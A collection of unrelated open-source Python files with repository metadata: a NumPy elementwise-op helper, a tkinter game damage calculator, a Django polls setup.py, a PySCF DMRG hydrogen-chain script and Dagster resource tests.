tuple(input_size) operands = len(data) output = data[0] for i in range(1, operands): if operator == op.ELTWISE_ADD: output = np.add(output, data[i]) elif operator == op.ELTWISE_MUL: output = np.multiply(output, data[i]) elif operator == op.ELTWISE_OR: output = np.bitwise_or(output, data[i]) elif operator == op.ELTWISE_SUB: output = np.subtract(output, data[i]) elif operator == op.ELTWISE_XOR: output = np.bitwise_xor(output, data[i]) else: print(f"Unknown operator `{op.string(operator)}`") raise NotImplementedError assert output.shape == tuple(input_size) return output

[ "jeremy.kongs@maximintegrated.com" ]

jeremy.kongs@maximintegrated.com

deb9a9a5bcbcf81070b70cbacf9f9c173d2f9875

1309ac4b1f497886010345fd41a14da469bf8780

/VaretyrSpearSimulation.py

3e5ae0a2418cbc6d4ea7e86963aba9ed71b68d65

[]

no_license

sugky7302/Varetyr-Spear-Simulation

d851a69c283e42da211ffb021747c9aebf15076e

8ddc47c102beabf29e8c6674023058a16250822d

refs/heads/master

2020-03-26T04:57:06.312200

2018-08-13T08:00:05

144,530,402

0

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UTF-8

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py

from tkinter import * from tkinter import ttk from tkinter import scrolledtext _VERSION = '0.1.0' # 創建主視窗 window = Tk() window.title("聖槍刺擊 " + _VERSION) class NewEntry: def __init__ (self, labelText, column, row): self.newObject = {} self.newObject['label'] = ttk.Label(window, text = labelText) self.newObject['label'].grid(column = column, row = row) self.newObject['value'] = StringVar() self.newObject['entry'] = ttk.Entry(window, width = 4, textvariable = self.newObject['value']) self.newObject['entry'].grid(column = column + 1, row = row) def get (self): return int(self.newObject['value'].get()) # 第一列素質 strength = NewEntry("STR：", 0, 0) intelligence = NewEntry("INT：", 2, 0) # 第二列素質ATK+修鍊ATK baseAtk = NewEntry("素質ATK：", 0, 1) repairAtk = NewEntry("修鍊ATK：", 2, 1) # 第三列武器 weaponAtk = NewEntry("武器ATK：", 0, 2) weaponLevel = NewEntry("武器等級：", 2, 2) intensify = NewEntry("武器精鍊值：", 4, 2) # 第四、五列 ATK增益效果 itemAtk = NewEntry("卡裝ATK：", 0, 3) classAtk = NewEntry("階級&atk(%)：", 2, 3) raceAtk = NewEntry("種族(%)：", 0, 4) enemyAttribute = NewEntry("敵方屬性(%)：", 2, 4) # 第六列素質MATK+武器MATK baseMatk = NewEntry("素質MATK：", 0, 5) weaponMatk = NewEntry("武器MATK：", 2, 5) # 第七列武器MATK+卡裝ATK itemMatk = NewEntry("卡裝MATK：", 0, 6) # 第八、九列 MATK增益效果 enchant = NewEntry("卡裝&附魔(%)：", 0, 7) raceMatk = NewEntry("種族&針對魔物(%)：", 2, 7) enemyAttributeForMagic = NewEntry("敵方屬性(%)：", 0, 8) myAttributeForMagic = NewEntry("自身屬性(%)：", 2, 8) # 第十列技能增傷 skill = NewEntry("技能(%)：", 0, 9) # 第十一行計算結果 def CalculateDamage (): firstAtk = repairAtk.get() + baseAtk.get() * 2 secondAtk = weaponAtk.get() * (1 + strength.get() * 0.005 + weaponLevel.get() * 0.05) + 5 * intensify.get() + 8 * (intensify.get() + weaponLevel.get() - 8) + 18 * weaponLevel.get() + itemAtk.get() secondAtkBuff = (1 + classAtk.get() / 100) * (1 + raceAtk.get() / 100) * (1 + enemyAttribute.get() / 100) secondMatk = (weaponMatk.get() + 5 * intensify.get()) * (1 + 0.1 * weaponLevel.get()) + 8 * (intensify.get() + weaponLevel.get() - 8) secondMatkBuff = (1 + enchant.get() / 100) * (1 + raceMatk.get() / 100) * (1 + enemyAttributeForMagic.get() / 100) * (1 + myAttributeForMagic.get() / 100) return ((firstAtk + secondAtk * secondAtkBuff) * 8.75 + 4 * secondMatk * secondMatkBuff * ((5 * intelligence.get() / 100 + 2.5) * 1.75 + 1.8)) * (1 + skill.get() / 100) def CalculateAction(): damage = str(CalculateDamage()) calculationLabel.config(text = damage) calculation = ttk.Button(window, text = "計算", command = CalculateAction) calculation.grid(column = 3, row = 10) calculationLabel = ttk.Label(window, text = "") calculationLabel.grid(column = 1, row = 10) # 顯示主視窗 window.mainloop()

[ "sugky7302@gmail.com" ]

sugky7302@gmail.com

214b3e555a47cc401125457c25dc90a26b14ef9c

cacc55e5a17ef2a8aee476235009f679fe959c30

/setup.py

fa4f10f172c0e2da2c2bdb697870a24fe31fdb8c

[]

no_license

takers/Django-polls-vote-

b1379df8129de138987576d61fb73c0b1b186bea

aa12789c1960b40fb0af1d51a835057500ee2d5c

refs/heads/master

2020-03-29T14:33:45.240048

2014-01-02T06:20:28

null

0

null

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py

import os from setuptools import setup README = open(os.path.join(os.path.dirname(__file__), 'README.rst')).read() # allow setup.py to be run from any path os.chdir(os.path.normpath(os.path.join(os.path.abspath(__file__), os.pardir))) setup( name='django-polls', version='0.1', packages=['polls'], include_package_data=True, license='BSD License', # example license description='A simple Django app to conduct Web-based polls.', long_description=README, url='http://www..com/', author='Gabriel Nweke', author_email='gab4real2013@gmail.com', classifiers=[ 'Environment :: Web Environment', 'Framework :: Django', 'Intended Audience :: Developers', 'License :: OSI Approved :: BSD License', # example license 'Operating System :: OS Independent', 'Programming Language :: Python', 'Programming Language :: Python :: 2.6', 'Programming Language :: Python :: 2.7', 'Topic :: Internet :: WWW/HTTP', 'Topic :: Internet :: WWW/HTTP :: Dynamic Content', ], )

[ "gab4real2013@gmail.com" ]

gab4real2013@gmail.com

33f1b6e48e0c04a001cd1121b0aba0c6b0d1546a

6d5510693f65f079e7ff672e064a81e4ff74ca2d

/H10_DMRG_curve.py

9c3ee350183b1caa05e84df94a967fbdbf364fad

[]

no_license

gkc1000/SimonsExercises

3612a1f78506ec86e97f30fdd04f197ecc4a6c0b

0d4a7d9e4f29b0cd3594ae60957e8304693e8db8

refs/heads/master

2021-01-20T18:28:32.328247

2016-06-23T20:00:11

61,827,692

0

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#!/usr/bin/env python # # Author: Qiming Sun <osirpt.sun@gmail.com> # from pyscf import gto from pyscf import scf from pyscf import mcscf from pyscf import dmrgscf import os from pyscf.dmrgscf import settings ''' Use DMRG program as the solver The DMRG program is invoked through system call. ''' b = 0.7 mol = gto.M( verbose = 4, atom = [['H', (0, 0, 0)], ['H', (r, 0, 0)], ['H', (2*r, 0, 0)], ['H', (3*r, 0, 0)], ['H', (4*r, 0, 0)], ['H', (5*r, 0, 0)], ['H', (6*r, 0, 0)], ['H', (7*r, 0, 0)], ['H', (8*r, 0, 0)], ['H', (9*r, 0, 0)]], basis = 'sto-3g', ) mf = scf.RHF(mol) mf.kernel() mc = dmrgscf.dmrgci.DMRGCI(mf, 8, 8) mc.mo_coeff = mf.mo_coeff # sets orbitals with which to do DMRG calculation (just HF MO here) emc = mc.kernel()[0] print(emc)

[ "gkc1000@gmail.com" ]

gkc1000@gmail.com

8a2eb862ad50edda68a729d3dc9f11fc97df64e8

ec85250addb7357dfe7bb3e0680d53fc7b0fd8fb

/examples/docs_snippets/docs_snippets_tests/concepts_tests/resources_tests/test_resources.py

5e07b899452a7f25971b2a9d834e8dd7bb8a8a0f

[ "Apache-2.0" ]

permissive

dagster-io/dagster

6adb5deee8bcf3ea1866a6a64f2ed81e1db5e73a

fe21995e0402878437a828c6a4244025eac8c43b

refs/heads/master

2023-09-05T20:46:08.203794

2023-09-05T19:54:52

131,619,646

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1,154

Apache-2.0

2023-09-14T21:57:37

2018-04-30T16:30:04

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Python

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from dagster import build_init_resource_context, build_op_context from docs_snippets.concepts.resources.resources import ( cereal_fetcher, connect, db_connection, db_resource, do_database_stuff_dev, do_database_stuff_job, do_database_stuff_prod, op_requires_resources, test_cm_resource, test_my_resource, test_my_resource_with_context, use_db_connection, uses_db_connection, ) def test_cereal_fetcher(): assert cereal_fetcher(None) def test_database_resource(): class BasicDatabase: def execute_query(self, query): pass op_requires_resources(build_op_context(resources={"database": BasicDatabase()})) def test_resource_testing_examples(): test_my_resource() test_my_resource_with_context() test_cm_resource() def test_resource_deps_job(): result = connect.execute_in_process() assert result.success def test_resource_config_example(): dbconn = db_resource(build_init_resource_context(config={"connection": "foo"})) assert dbconn.connection == "foo" def test_jobs(): assert do_database_stuff_job.execute_in_process().success assert do_database_stuff_dev.execute_in_process().success assert do_database_stuff_prod.execute_in_process().success def test_cm_resource_example(): with db_connection() as db_conn: assert db_conn def test_cm_resource_op(): with build_op_context(resources={"db_connection": db_connection}) as context: use_db_connection(context) def test_build_resources_example(): uses_db_connection()

[ "noreply@github.com" ]

noreply@github.com